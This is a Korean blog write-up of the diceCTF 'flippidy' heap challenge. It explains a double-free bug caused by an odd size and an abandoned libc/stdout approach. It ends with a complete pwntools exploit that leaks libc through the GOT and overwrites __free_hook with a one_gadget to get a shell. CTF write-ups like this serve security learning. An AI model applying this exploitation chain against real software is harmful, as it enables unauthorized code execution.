본문 바로가기

카테고리 없음

diceCTF flippidy Write up

취약점은 어렵지 않게 찾을 수 있었다.

 

처음에 size를 홀수 를 주게되면 더블프리가 생기므로 원하는곳에 Write가 가능하다.

근데 여기서 메모리 보호기법이 씨게 걸려있어서 GOT Overwrite가 불가능하다.

 

그래서 첫번쨰로 생각한 익스 방법은 libc를 덮는 방법이였다.

첫번째 size줄때 홀수인데 사이즐 엄청 크게하면 libc아래에 공간을 할당되게 되는데 여기서부터 libc오프셋을 구한다음 size에 큰 값으로 주작을 쳐서 libc를 덮는 겄이였다. 근데 일단 Heap에는 실행권한이 존재하지 않았다 그래서 stdout을 덮을려고 했는데 생각해보니 flags 와 file no 을 못맛춰줘서 Leak 이 불가능하다.

 

여기까지 생각해보다가 난 여행을 떠나버렸다...

 

그래서 지금 짬을 내서 문제를 처음부터 다시 봤는데 elf 명령어로 RWX가능한 구역을 다시 찾아보니

여기에 포인터가 존재했다.

 

아.. 그리고 난 꺠달았다 이 걸 가지고 익스를 할 수 있다는걸

 

일단 포인터이고 출력해주기 때문에 got로 주소로 덮어버리면 leak이 가능하다

 

일단 중요한게 원하는 곳에 RW가 가능한 상태에서 거기 부분을 덮게되면 다시 flip를 하게되면 거기에 있었던 포인터를 재 할당하게된다. 이걸 이용해서 쓱싹 풀어버리면 된다.

 

#!/usr/bin/env python

from pwn import *

p = process(["./flippidy"], env={'LD_PRELOAD':'./libc.so.6'} )
binf = ELF("./flippidy")
libc = ELF("./libc.so.6")
#p = remote("dicec.tf", 31904)

context.log_level = 'DEBUG'

def add(idx, content):
    p.sendlineafter(": ", str(1))
    p.sendlineafter("Index: ", str(idx))
    p.sendlineafter("Content: ", content)

def flip():
    p.sendlineafter(": ", str(2))


p.sendlineafter("To get started, first tell us how big your notebook will be: ", str(1))
pause()
add(0, p64(0x404020))
flip()
add(0,p64(binf.got['fgets'])*4+p64(0x404158))

leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
base = leak-libc.symbols['fgets']
one = base+0x4f322

pause()
add(0,p64(0xdeadbeef))
add(0,p64(base+libc.symbols['__free_hook']))
add(0,p64(0xdeadbeef))
add(0,p64(base+libc.symbols['__free_hook']))
add(0,p64(one))

flip()

p.interactive()